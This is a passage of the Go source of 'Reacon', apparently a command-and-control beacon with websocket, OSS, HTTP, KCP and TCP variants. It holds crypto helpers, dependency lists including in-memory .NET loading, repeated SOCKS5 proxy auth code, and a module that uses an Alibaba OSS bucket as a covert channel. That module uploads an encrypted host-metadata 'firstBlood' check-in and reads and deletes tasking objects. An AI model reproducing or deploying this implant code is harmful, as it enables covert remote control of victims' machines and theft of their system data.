| if err != nil { 49 | return nil, err 50 | } 51 | 52 | if len(ciphertext) < aes.BlockSize { 53 | return nil, fmt.Errorf("ciphertext is too short") 54 | } 55 | 56 | iv := ciphertext[:aes.BlockSize] 57 | ciphertext = ciphertext[aes.BlockSize:] 58 | 59 | stream := cipher.NewCFBDecrypter(block, iv) 60 | stream.XORKeyStream(ciphertext, ciphertext) 61 | 62 | return ciphertext, nil 63 | } 64 | 65 | func Encrypt(data []byte) ([]byte, error) { 66 | key := generateKey() 67 | encryptedData, _ := encryptAES([]byte(hex.EncodeToString(data)), key) 68 | // key与加密结果放到一起 69 | keyAndData := append(key, encryptedData...) 70 | return keyAndData, nil 71 | } 72 | func RandomInt(min, max int) int { 73 | r.Seed(time.Now().UnixNano()) 74 | return min + r.Intn(max-min) 75 | } 76 | 77 | func Decrypt(data []byte) ([]byte, error) { 78 | if len(data) < 32 { 79 | return nil, fmt.Errorf("data is too short") 80 | } 81 | key := data[:32] 82 | encryptedData := data[32:] 83 | decryptedData, _ := decryptAES(encryptedData, key) 84 | plainData, _ := hex.DecodeString(string(decryptedData)) 85 | return plainData, nil 86 | } 87 | 88 | // EncodeBase64 将 []byte 编码为 Base64 并返回 []byte 89 | func EncodeBase64(data []byte) ([]byte, error) { 90 | encodedString := base64.StdEncoding.EncodeToString(data) 91 | return []byte(encodedString), nil 92 | } 93 | 94 | // DecodeBase64 将 Base64 编码的 []byte 解码回原始的 []byte 95 | func DecodeBase64(encodedData []byte) ([]byte, error) { 96 | decodedData, err := base64.StdEncoding.DecodeString(string(encodedData)) 97 | if err != nil { 98 | return nil, err 99 | } 100 | return decodedData, nil 101 | } 102 | func BytesToMD5(s []byte) string { 103 | // 创建一个新的 MD5 哈希对象 104 | hasher := md5.New() 105 | 106 | // 将字符串写入哈希对象 107 | hasher.Write(s) 108 | 109 | // 获取哈希值的字节切片 110 | md5Bytes := hasher.Sum(nil) 111 | 112 | // 将字节切片转换为十六进制字符串 113 | return fmt.Sprintf("%x", md5Bytes) 114 | } 115 | -------------------------------------------------------------------------------- /Reacon_websocket/go.sum: -------------------------------------------------------------------------------- 1 | github.com/Ne0nd0g/go-clr v1.0.3 h1:xt92wwuqY23ZSC7RuHD3mKu3K22Bk5NNbxI803vojK4= 2 | github.com/Ne0nd0g/go-clr v1.0.3/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I= 3 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 4 | github.com/go-ole/go-ole v1.2.6 h1:/Fpf6oFPoeFik9ty7siob0G6Ke8QvQEuVcuChpwXzpY= 5 | github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0= 6 | github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= 7 | github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= 8 | github.com/gorilla/websocket v1.4.2 h1:+/TMaTYc4QFitKJxsQ7Yye35DkWvkdLcvGKqM+x0Ufc= 9 | github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= 10 | github.com/jpillora/backoff v1.0.0 h1:uvFg412JmmHBHw7iwprIxkPMI+sGQ4kzOWsMeHnm2EA= 11 | github.com/jpillora/backoff v1.0.0/go.mod h1:J/6gKK9jxlEcS3zixgDgUAsiuZ7yrSoa/FX5e0EB2j4= 12 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 13 | github.com/shirou/gopsutil v3.21.11+incompatible h1:+1+c1VGhc88SSonWP6foOcLhvnKlUeu/erjjvaPEYiI= 14 | github.com/shirou/gopsutil v3.21.11+incompatible/go.mod h1:5b4v6he4MtMOwMlS0TUMTu2PcXUg8+E1lC7eC3UO/RA= 15 | github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg= 16 | github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= 17 | github.com/tklauser/go-sysconf v0.3.14 h1:g5vzr9iPFFz24v2KZXs/pvpvh8/V9Fw6vQK5ZZb78yU= 18 | github.com/tklauser/go-sysconf v0.3.14/go.mod h1:1ym4lWMLUOhuBOPGtRcJm7tEGX4SCYNEEEtghGG/8uY= 19 | github.com/tklauser/numcpus v0.8.0 h1:Mx4Wwe/FjZLeQsK/6kt2EOepwwSl7SmJrK5bV/dXYgY= 20 | github.com/tklauser/numcpus v0.8.0/go.mod h1:ZJZlAY+dmR4eut8epnzf0u/VwodKmryxR8txiloSqBE= 21 | github.com/togettoyou/wsc v1.3.1 h1:vqkxD2eG3tGQd5dcsoZsEpS+DnkAqr3NKkCviIKw+5M= 22 | github.com/togettoyou/wsc v1.3.1/go.mod h1:OxmQRmVaYYSylUYb1TRDvlLfkBdvV7aDMEDALizjKxQ= 23 | github.com/yusufpapurcu/wmi v1.2.4 h1:zFUKzehAFReQwLys1b/iSMl+JQGSCSjtVqQn9bBrPo0= 24 | github.com/yusufpapurcu/wmi v1.2.4/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0= 25 | golang.org/x/crypto v0.32.0 h1:euUpcYgM8WcP71gNpTqQCn6rC2t6ULUPiOzfWaXVVfc= 26 | golang.org/x/crypto v0.32.0/go.mod h1:ZnnJkOaASj8g0AjIduWNlq2NRxL0PlBrbKVyZ6V/Ugc= 27 | golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 28 | golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 29 | golang.org/x/sys v0.29.0 h1:TPYlXGxvx1MGTn2GiZDhnjPA9wZzZeGKHHmKhHYvgaU= 30 | golang.org/x/sys v0.29.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 31 | golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= 32 | golang.org/x/text v0.21.0 h1:zyQAAkrwaneQ066sspRyJaG9VNi/YJ1NfzcGB3hZ/qo= 33 | golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ= 34 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 35 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 36 | -------------------------------------------------------------------------------- /Reacon_oss/pkg/communication/oss.go: -------------------------------------------------------------------------------- 1 | package communication 2 | 3 | import ( 4 | "Reacon/pkg/encrypt" 5 | "Reacon/pkg/utils" 6 | "fmt" 7 | "github.com/aliyun/aliyun-oss-go-sdk/oss" 8 | "io/ioutil" 9 | "log" 10 | "os" 11 | "strings" 12 | "time" 13 | ) 14 | 15 | type Client struct { 16 | Cli *oss.Client 17 | Bucket *oss.Bucket 18 | Endpoint string 19 | AccessKeyId string 20 | AccessKeySecret string 21 | BucketName string 22 | } 23 | 24 | var Service *Client 25 | 26 | // var c *oss.Bucket 27 | 28 | func InitClient(endPoint, accessKeyId, accessKeySecret, bucketName string) error { 29 | var ossClient *oss.Client 30 | var err error 31 | 32 | ossClient, err = oss.New(endPoint, accessKeyId, accessKeySecret) 33 | if err != nil { 34 | return err 35 | } 36 | 37 | var ossBucket *oss.Bucket 38 | ossBucket, err = ossClient.Bucket(bucketName) 39 | if err != nil { 40 | return err 41 | } 42 | 43 | Service = &Client{ 44 | Cli: ossClient, 45 | Bucket: ossBucket, 46 | Endpoint: endPoint, 47 | AccessKeyId: accessKeyId, 48 | AccessKeySecret: accessKeySecret, 49 | BucketName: bucketName, 50 | } 51 | go func() { 52 | if len(utils.MetaInfo) == 0 { 53 | utils.MetaInfo, _ = utils.EncryptedMetaInfo() 54 | utils.MetaInfo, _ = encrypt.EncodeBase64(utils.MetaInfo) 55 | tmp, _ := encrypt.DecodeBase64(utils.MetaInfo) 56 | tmp, _ = encrypt.Decrypt(tmp) 57 | utils.Uid = encrypt.BytesToMD5(tmp) 58 | } 59 | firstBloodInt := 1 60 | firstBloodBytes := utils.WriteInt(firstBloodInt) 61 | firstBloodMsg := utils.BytesCombine(firstBloodBytes, utils.MetaInfo) 62 | 63 | Send(Service, utils.Uid+fmt.Sprintf("/client_%020d", time.Now().UnixNano()), firstBloodMsg) 64 | time.Sleep(60 * time.Second) 65 | }() 66 | 67 | return nil 68 | } 69 | func List(c *Client) []oss.ObjectProperties { 70 | 71 | lsRes, err := c.Bucket.ListObjects(oss.MaxKeys(3), oss.Prefix("")) 72 | if err != nil { 73 | fmt.Println("Error:", err) 74 | os.Exit(-1) 75 | } 76 | // fmt.Println(lsRes) 77 | return lsRes.Objects 78 | 79 | } 80 | func Send(c *Client, name string, content []byte) { 81 | 82 | encodeData, err := encrypt.EncodeBase64(content) 83 | // 1.通过字符串上传对象 84 | f := strings.NewReader(string(encodeData)) 85 | // var err error 86 | err = c.Bucket.PutObject(name, f) 87 | if err != nil { 88 | log.Println("[-]", "上传失败") 89 | return 90 | } 91 | 92 | } 93 | func Get(c *Client, name string) []byte { 94 | 95 | body, err := c.Bucket.GetObject(name) 96 | if err != nil { 97 | return nil 98 | } 99 | // 数据读取完成后，获取的流必须关闭，否则会造成连接泄漏，导致请求无连接可用，程序无法正常工作。 100 | defer body.Close() 101 | // println(body) 102 | data, err := ioutil.ReadAll(body) 103 | if err != nil { 104 | fmt.Println("Error:", err) 105 | os.Exit(-1) 106 | } 107 | // fmt.Println(data) 108 | decodeData, err := encrypt.DecodeBase64(data) 109 | return decodeData 110 | } 111 | 112 | func Del(c *Client, name string) { 113 | err := c.Bucket.DeleteObject(name) 114 | if err != nil { 115 | panic(err) 116 | } 117 | 118 | } 119 | -------------------------------------------------------------------------------- /Reacon_http/pkg/services/proxy/statute/auth.go: -------------------------------------------------------------------------------- 1 | package statute 2 | 3 | import ( 4 | "fmt" 5 | "io" 6 | ) 7 | 8 | // auth error defined 9 | var ( 10 | ErrUserAuthFailed = fmt.Errorf("user authentication failed") 11 | ErrNoSupportedAuth = fmt.Errorf("no supported authentication mechanism") 12 | ) 13 | 14 | // UserPassRequest is the negotiation user's password request packet 15 | // The SOCKS handshake user's password request is formed as follows: 16 | // 17 | // +--------------+------+----------+------+----------+ 18 | // | USERPASS_VER | ULEN | USER | PLEN | PASS | 19 | // +--------------+------+----------+------+----------+ 20 | // | 1 | 1 | Variable | 1 | Variable | 21 | // +--------------+------+----------+------+----------+ 22 | type UserPassRequest struct { 23 | Ver byte 24 | Ulen byte 25 | Plen byte 26 | User []byte // 1-255 bytes 27 | Pass []byte // 1-255 bytes 28 | } 29 | 30 | // NewUserPassRequest new user's password request packet with ver,user, pass 31 | func NewUserPassRequest(ver byte, user, pass []byte) UserPassRequest { 32 | return UserPassRequest{ 33 | ver, 34 | byte(len(user)), 35 | byte(len(pass)), 36 | user, 37 | pass, 38 | } 39 | } 40 | 41 | // ParseUserPassRequest parse user's password request. 42 | // 43 | //nolint:nakedret 44 | func ParseUserPassRequest(r io.Reader) (nup UserPassRequest, err error) { 45 | tmp := []byte{0, 0} 46 | 47 | // Get the version and username length 48 | if _, err = io.ReadAtLeast(r, tmp, 2); err != nil { 49 | return 50 | } 51 | nup.Ver, nup.Ulen = tmp[0], tmp[1] 52 | 53 | // Ensure the UserPass version 54 | if nup.Ver != UserPassAuthVersion { 55 | err = fmt.Errorf("unsupported auth version: %v", nup.Ver) 56 | return 57 | } 58 | 59 | // Get the user name 60 | nup.User = make([]byte, nup.Ulen) 61 | if _, err = io.ReadAtLeast(r, nup.User, int(nup.Ulen)); err != nil { 62 | return 63 | } 64 | 65 | // Get the password length 66 | if _, err = r.Read(tmp[:1]); err != nil { 67 | return 68 | } 69 | nup.Plen = tmp[0] 70 | 71 | // Get the password 72 | nup.Pass = make([]byte, nup.Plen) 73 | _, err = io.ReadAtLeast(r, nup.Pass, int(nup.Plen)) 74 | return nup, err 75 | } 76 | 77 | // Bytes to bytes 78 | func (sf UserPassRequest) Bytes() []byte { 79 | b := make([]byte, 0, 3+sf.Ulen+sf.Plen) 80 | b = append(b, sf.Ver, sf.Ulen) 81 | b = append(b, sf.User...) 82 | b = append(b, sf.Plen) 83 | b = append(b, sf.Pass...) 84 | return b 85 | } 86 | 87 | // UserPassReply is the negotiation user's password reply packet 88 | // The SOCKS handshake user's password response is formed as follows: 89 | // 90 | // +-----+--------+ 91 | // | VER | status | 92 | // +-----+--------+ 93 | // | 1 | 1 | 94 | // +-----+--------+ 95 | type UserPassReply struct { 96 | Ver byte 97 | Status byte 98 | } 99 | 100 | // ParseUserPassReply parse user's password reply packet. 101 | func ParseUserPassReply(r io.Reader) (upr UserPassReply, err error) { 102 | bb := []byte{0, 0} 103 | if _, err = io.ReadFull(r, bb); err != nil { 104 | return 105 | } 106 | upr.Ver, upr.Status = bb[0], bb[1] 107 | return 108 | } 109 | -------------------------------------------------------------------------------- /Reacon_kcp/pkg/services/proxy/statute/auth.go: -------------------------------------------------------------------------------- 1 | package statute 2 | 3 | import ( 4 | "fmt" 5 | "io" 6 | ) 7 | 8 | // auth error defined 9 | var ( 10 | ErrUserAuthFailed = fmt.Errorf("user authentication failed") 11 | ErrNoSupportedAuth = fmt.Errorf("no supported authentication mechanism") 12 | ) 13 | 14 | // UserPassRequest is the negotiation user's password request packet 15 | // The SOCKS handshake user's password request is formed as follows: 16 | // 17 | // +--------------+------+----------+------+----------+ 18 | // | USERPASS_VER | ULEN | USER | PLEN | PASS | 19 | // +--------------+------+----------+------+----------+ 20 | // | 1 | 1 | Variable | 1 | Variable | 21 | // +--------------+------+----------+------+----------+ 22 | type UserPassRequest struct { 23 | Ver byte 24 | Ulen byte 25 | Plen byte 26 | User []byte // 1-255 bytes 27 | Pass []byte // 1-255 bytes 28 | } 29 | 30 | // NewUserPassRequest new user's password request packet with ver,user, pass 31 | func NewUserPassRequest(ver byte, user, pass []byte) UserPassRequest { 32 | return UserPassRequest{ 33 | ver, 34 | byte(len(user)), 35 | byte(len(pass)), 36 | user, 37 | pass, 38 | } 39 | } 40 | 41 | // ParseUserPassRequest parse user's password request. 42 | // 43 | //nolint:nakedret 44 | func ParseUserPassRequest(r io.Reader) (nup UserPassRequest, err error) { 45 | tmp := []byte{0, 0} 46 | 47 | // Get the version and username length 48 | if _, err = io.ReadAtLeast(r, tmp, 2); err != nil { 49 | return 50 | } 51 | nup.Ver, nup.Ulen = tmp[0], tmp[1] 52 | 53 | // Ensure the UserPass version 54 | if nup.Ver != UserPassAuthVersion { 55 | err = fmt.Errorf("unsupported auth version: %v", nup.Ver) 56 | return 57 | } 58 | 59 | // Get the user name 60 | nup.User = make([]byte, nup.Ulen) 61 | if _, err = io.ReadAtLeast(r, nup.User, int(nup.Ulen)); err != nil { 62 | return 63 | } 64 | 65 | // Get the password length 66 | if _, err = r.Read(tmp[:1]); err != nil { 67 | return 68 | } 69 | nup.Plen = tmp[0] 70 | 71 | // Get the password 72 | nup.Pass = make([]byte, nup.Plen) 73 | _, err = io.ReadAtLeast(r, nup.Pass, int(nup.Plen)) 74 | return nup, err 75 | } 76 | 77 | // Bytes to bytes 78 | func (sf UserPassRequest) Bytes() []byte { 79 | b := make([]byte, 0, 3+sf.Ulen+sf.Plen) 80 | b = append(b, sf.Ver, sf.Ulen) 81 | b = append(b, sf.User...) 82 | b = append(b, sf.Plen) 83 | b = append(b, sf.Pass...) 84 | return b 85 | } 86 | 87 | // UserPassReply is the negotiation user's password reply packet 88 | // The SOCKS handshake user's password response is formed as follows: 89 | // 90 | // +-----+--------+ 91 | // | VER | status | 92 | // +-----+--------+ 93 | // | 1 | 1 | 94 | // +-----+--------+ 95 | type UserPassReply struct { 96 | Ver byte 97 | Status byte 98 | } 99 | 100 | // ParseUserPassReply parse user's password reply packet. 101 | func ParseUserPassReply(r io.Reader) (upr UserPassReply, err error) { 102 | bb := []byte{0, 0} 103 | if _, err = io.ReadFull(r, bb); err != nil { 104 | return 105 | } 106 | upr.Ver, upr.Status = bb[0], bb[1] 107 | return 108 | } 109 | -------------------------------------------------------------------------------- /Reacon_oss/pkg/services/proxy/statute/auth.go: -------------------------------------------------------------------------------- 1 | package statute 2 | 3 | import ( 4 | "fmt" 5 | "io" 6 | ) 7 | 8 | // auth error defined 9 | var ( 10 | ErrUserAuthFailed = fmt.Errorf("user authentication failed") 11 | ErrNoSupportedAuth = fmt.Errorf("no supported authentication mechanism") 12 | ) 13 | 14 | // UserPassRequest is the negotiation user's password request packet 15 | // The SOCKS handshake user's password request is formed as follows: 16 | // 17 | // +--------------+------+----------+------+----------+ 18 | // | USERPASS_VER | ULEN | USER | PLEN | PASS | 19 | // +--------------+------+----------+------+----------+ 20 | // | 1 | 1 | Variable | 1 | Variable | 21 | // +--------------+------+----------+------+----------+ 22 | type UserPassRequest struct { 23 | Ver byte 24 | Ulen byte 25 | Plen byte 26 | User []byte // 1-255 bytes 27 | Pass []byte // 1-255 bytes 28 | } 29 | 30 | // NewUserPassRequest new user's password request packet with ver,user, pass 31 | func NewUserPassRequest(ver byte, user, pass []byte) UserPassRequest { 32 | return UserPassRequest{ 33 | ver, 34 | byte(len(user)), 35 | byte(len(pass)), 36 | user, 37 | pass, 38 | } 39 | } 40 | 41 | // ParseUserPassRequest parse user's password request. 42 | // 43 | //nolint:nakedret 44 | func ParseUserPassRequest(r io.Reader) (nup UserPassRequest, err error) { 45 | tmp := []byte{0, 0} 46 | 47 | // Get the version and username length 48 | if _, err = io.ReadAtLeast(r, tmp, 2); err != nil { 49 | return 50 | } 51 | nup.Ver, nup.Ulen = tmp[0], tmp[1] 52 | 53 | // Ensure the UserPass version 54 | if nup.Ver != UserPassAuthVersion { 55 | err = fmt.Errorf("unsupported auth version: %v", nup.Ver) 56 | return 57 | } 58 | 59 | // Get the user name 60 | nup.User = make([]byte, nup.Ulen) 61 | if _, err = io.ReadAtLeast(r, nup.User, int(nup.Ulen)); err != nil { 62 | return 63 | } 64 | 65 | // Get the password length 66 | if _, err = r.Read(tmp[:1]); err != nil { 67 | return 68 | } 69 | nup.Plen = tmp[0] 70 | 71 | // Get the password 72 | nup.Pass = make([]byte, nup.Plen) 73 | _, err = io.ReadAtLeast(r, nup.Pass, int(nup.Plen)) 74 | return nup, err 75 | } 76 | 77 | // Bytes to bytes 78 | func (sf UserPassRequest) Bytes() []byte { 79 | b := make([]byte, 0, 3+sf.Ulen+sf.Plen) 80 | b = append(b, sf.Ver, sf.Ulen) 81 | b = append(b, sf.User...) 82 | b = append(b, sf.Plen) 83 | b = append(b, sf.Pass...) 84 | return b 85 | } 86 | 87 | // UserPassReply is the negotiation user's password reply packet 88 | // The SOCKS handshake user's password response is formed as follows: 89 | // 90 | // +-----+--------+ 91 | // | VER | status | 92 | // +-----+--------+ 93 | // | 1 | 1 | 94 | // +-----+--------+ 95 | type UserPassReply struct { 96 | Ver byte 97 | Status byte 98 | } 99 | 100 | // ParseUserPassReply parse user's password reply packet. 101 | func ParseUserPassReply(r io.Reader) (upr UserPassReply, err error) { 102 | bb := []byte{0, 0} 103 | if _, err = io.ReadFull(r, bb); err != nil { 104 | return 105 | } 106 | upr.Ver, upr.Status = bb[0], bb[1] 107 | return 108 | } 109 | -------------------------------------------------------------------------------- /Reacon_tcp/pkg/services/proxy/statute/auth.go: -------------------------------------------------------------------------------- 1 | package statute 2 | 3 | import ( 4 | "fmt" 5 | "io" 6 | ) 7 | 8 | // auth error defined 9 | var ( 10 | ErrUserAuthFailed = fmt.Errorf("user authentication failed") 11 | ErrNoSupportedAuth = fmt.Errorf("no supported authentication mechanism") 12 | ) 13 | 14 | // UserPassRequest is the negotiation user's password request packet 15 | // The SOCKS handshake user's password request is formed as follows: 16 | // 17 | // +--------------+------+----------+------+----------+ 18 | // | USERPASS_VER | ULEN | USER | PLEN | PASS | 19 | // +--------------+------+----------+------+----------+ 20 | // | 1 | 1 | Variable | 1 | Variable | 21 | // +--------------+------+----------+------+----------+ 22 | type UserPassRequest struct { 23 | Ver byte 24 | Ulen byte 25 | Plen byte 26 | User []byte // 1-255 bytes 27 | Pass []byte // 1-255 bytes 28 | } 29 | 30 | // NewUserPassRequest new user's password request packet with ver,user, pass 31 | func NewUserPassRequest(ver byte, user, pass []byte) UserPassRequest { 32 | return UserPassRequest{ 33 | ver, 34 | byte(len(user)), 35 | byte(len(pass)), 36 | user, 37 | pass, 38 | } 39 | } 40 | 41 | // ParseUserPassRequest parse user's password request. 42 | // 43 | //nolint:nakedret 44 | func ParseUserPassRequest(r io.Reader) (nup UserPassRequest, err error) { 45 | tmp := []byte{0, 0} 46 | 47 | // Get the version and username length 48 | if _, err = io.ReadAtLeast(r, tmp, 2); err != nil { 49 | return 50 | } 51 | nup.Ver, nup.Ulen = tmp[0], tmp[1] 52 | 53 | // Ensure the UserPass version 54 | if nup.Ver != UserPassAuthVersion { 55 | err = fmt.Errorf("unsupported auth version: %v", nup.Ver) 56 | return 57 | } 58 | 59 | // Get the user name 60 | nup.User = make([]byte, nup.Ulen) 61 | if _, err = io.ReadAtLeast(r, nup.User, int(nup.Ulen)); err != nil { 62 | return 63 | } 64 | 65 | // Get the password length 66 | if _, err = r.Read(tmp[:1]); err != nil { 67 | return 68 | } 69 | nup.Plen = tmp[0] 70 | 71 | // Get the password 72 | nup.Pass = make([]byte, nup.Plen) 73 | _, err = io.ReadAtLeast(r, nup.Pass, int(nup.Plen)) 74 | return nup, err 75 | } 76 | 77 | // Bytes to bytes 78 | func (sf UserPassRequest) Bytes() []byte { 79 | b := make([]byte, 0, 3+sf.Ulen+sf.Plen) 80 | b = append(b, sf.Ver, sf.Ulen) 81 | b = append(b, sf.User...) 82 | b = append(b, sf.Plen) 83 | b = append(b, sf.Pass...) 84 | return b 85 | } 86 | 87 | // UserPassReply is the negotiation user's password reply packet 88 | // The SOCKS handshake user's password response is formed as follows: 89 | // 90 | // +-----+--------+ 91 | // | VER | status | 92 | // +-----+--------+ 93 | // | 1 | 1 | 94 | // +-----+--------+ 95 | type UserPassReply struct { 96 | Ver byte 97 | Status byte 98 | } 99 | 100 | // ParseUserPassReply parse user's password reply packet. 101 | func ParseUserPassReply(r io.Reader) (upr UserPassReply, err error) { 102 | bb := []byte{0, 0} 103 | if _, err = io.ReadFull(r, bb); err != nil { 104 | return 105 | } 106 | upr.Ver, upr.Status = bb[0], bb[1] 107 | return 108 | } 109 | -------------------------------------------------------------------------------- /Reacon_websocket/pkg/services/proxy/statute/auth.go: -------------------------------------------------------------------------------- 1 | package statute 2 | 3 | import ( 4 | "fmt" 5 | "io" 6 | ) 7 | 8 | // auth error defined 9 | var ( 10 | ErrUserAuthFailed = fmt.Errorf("user authentication failed") 11 | ErrNoSupportedAuth = fmt.Errorf("no supported authentication mechanism") 12 | ) 13 | 14 | // UserPassRequest is the negotiation user's password request packet 15 | // The SOCKS handshake user's password request is formed as follows: 16 | // 17 | // +--------------+------+----------+------+----------+ 18 | // | USERPASS_VER | ULEN | USER | PLEN | PASS | 19 | // +--------------+------+----------+------+----------+ 20 | // | 1 | 1 | Variable | 1 | Variable | 21 | // +--------------+------+----------+------+----------+ 22 | type UserPassRequest struct { 23 | Ver byte 24 | Ulen byte 25 | Plen byte 26 | User []byte // 1-255 bytes 27 | Pass []byte // 1-255 bytes 28 | } 29 | 30 | // NewUserPassRequest new user's password request packet with ver,user, pass 31 | func NewUserPassRequest(ver byte, user, pass []byte) UserPassRequest { 32 | return UserPassRequest{ 33 | ver, 34 | byte(len(user)), 35 | byte(len(pass)), 36 | user, 37 | pass, 38 | } 39 | } 40 | 41 | // ParseUserPassRequest parse user's password request. 42 | // 43 | //nolint:nakedret 44 | func ParseUserPassRequest(r io.Reader) (nup UserPassRequest, err error) { 45 | tmp := []byte{0, 0} 46 | 47 | // Get the version and username length 48 | if _, err = io.ReadAtLeast(r, tmp, 2); err != nil { 49 | return 50 | } 51 | nup.Ver, nup.Ulen = tmp[0], tmp[1] 52 | 53 | // Ensure the UserPass version 54 | if nup.Ver != UserPassAuthVersion { 55 | err = fmt.Errorf("unsupported auth version: %v", nup.Ver) 56 | return 57 | } 58 | 59 | // Get the user name 60 | nup.User = make([]byte, nup.Ulen) 61 | if _, err = io.ReadAtLeast(r, nup.User, int(nup.Ulen)); err != nil { 62 | return 63 | } 64 | 65 | // Get the password length 66 | if _, err = r.Read(tmp[:1]); err != nil { 67 | return 68 | } 69 | nup.Plen = tmp[0] 70 | 71 | // Get the password 72 | nup.Pass = make([]byte, nup.Plen) 73 | _, err = io.ReadAtLeast(r, nup.Pass, int(nup.Plen)) 74 | return nup, err 75 | } 76 | 77 | // Bytes to bytes 78 | func (sf UserPassRequest) Bytes() []byte { 79 | b := make([]byte, 0, 3+sf.Ulen+sf.Plen) 80 | b = append(b, sf.Ver, sf.Ulen) 81 | b = append(b, sf.User...) 82 | b = append(b, sf.Plen) 83 | b = append(b, sf.Pass...) 84 | return b 85 | } 86 | 87 | // UserPassReply is the negotiation user's password reply packet 88 | // The SOCKS handshake user's password response is formed as follows: 89 | // 90 | // +-----+--------+ 91 | // | VER | status | 92 | // +-----+--------+ 93 | // | 1 | 1 | 94 | // +-----+--------+ 95 | type UserPassReply struct { 96 | Ver byte 97 | Status byte 98 | } 99 | 100 | // ParseUserPassReply parse user's password reply packet. 101 | func ParseUserPassReply(r io.Reader) (upr UserPassReply, err error) { 102 | bb := []byte{0, 0} 103 | if _, err = io.ReadFull(r, bb); err != nil { 104 | return 105 | } 106 | upr.Ver, upr.Status = bb[0], bb[1] 107 | return 108 | } 109 | -------------------------------------------------------------------------------- /Reacon_oss/go.sum: -------------------------------------------------------------------------------- 1 | github.com/Ne0nd0g/go-clr v1.0.3 h1:xt92wwuqY23ZSC7RuHD3mKu3K22Bk5NNbxI803vojK4= 2 | github.com/Ne0nd0g/go-clr v1.0.3/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I= 3 | github.com/aliyun/aliyun-oss-go-sdk v3.0.2+incompatible h1:8psS8a+wKfiLt1iVDX79F7Y6wUM49Lcha2FMXt4UM8g= 4 | github.com/aliyun/aliyun-oss-go-sdk v3.0.2+incompatible/go.mod h1:T/Aws4fEfogEE9v+HPhhw+CntffsBHJ8nXQCwKr0/g8= 5 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 6 | github.com/go-ole/go-ole v1.2.6 h1:/Fpf6oFPoeFik9ty7siob0G6Ke8QvQEuVcuChpwXzpY= 7 | github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0= 8 | github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= 9 | github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= 10 | github.com/kr/pretty v0.2.1 h1:Fmg33tUaq4/8ym9TJN1x7sLJnHVwhP33CNkpYV/7rwI= 11 | github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= 12 | github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= 13 | github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE= 14 | github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= 15 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 16 | github.com/shirou/gopsutil v3.21.11+incompatible h1:+1+c1VGhc88SSonWP6foOcLhvnKlUeu/erjjvaPEYiI= 17 | github.com/shirou/gopsutil v3.21.11+incompatible/go.mod h1:5b4v6he4MtMOwMlS0TUMTu2PcXUg8+E1lC7eC3UO/RA= 18 | github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg= 19 | github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= 20 | github.com/tklauser/go-sysconf v0.3.14 h1:g5vzr9iPFFz24v2KZXs/pvpvh8/V9Fw6vQK5ZZb78yU= 21 | github.com/tklauser/go-sysconf v0.3.14/go.mod h1:1ym4lWMLUOhuBOPGtRcJm7tEGX4SCYNEEEtghGG/8uY= 22 | github.com/tklauser/numcpus v0.8.0 h1:Mx4Wwe/FjZLeQsK/6kt2EOepwwSl7SmJrK5bV/dXYgY= 23 | github.com/tklauser/numcpus v0.8.0/go.mod h1:ZJZlAY+dmR4eut8epnzf0u/VwodKmryxR8txiloSqBE= 24 | github.com/yusufpapurcu/wmi v1.2.4 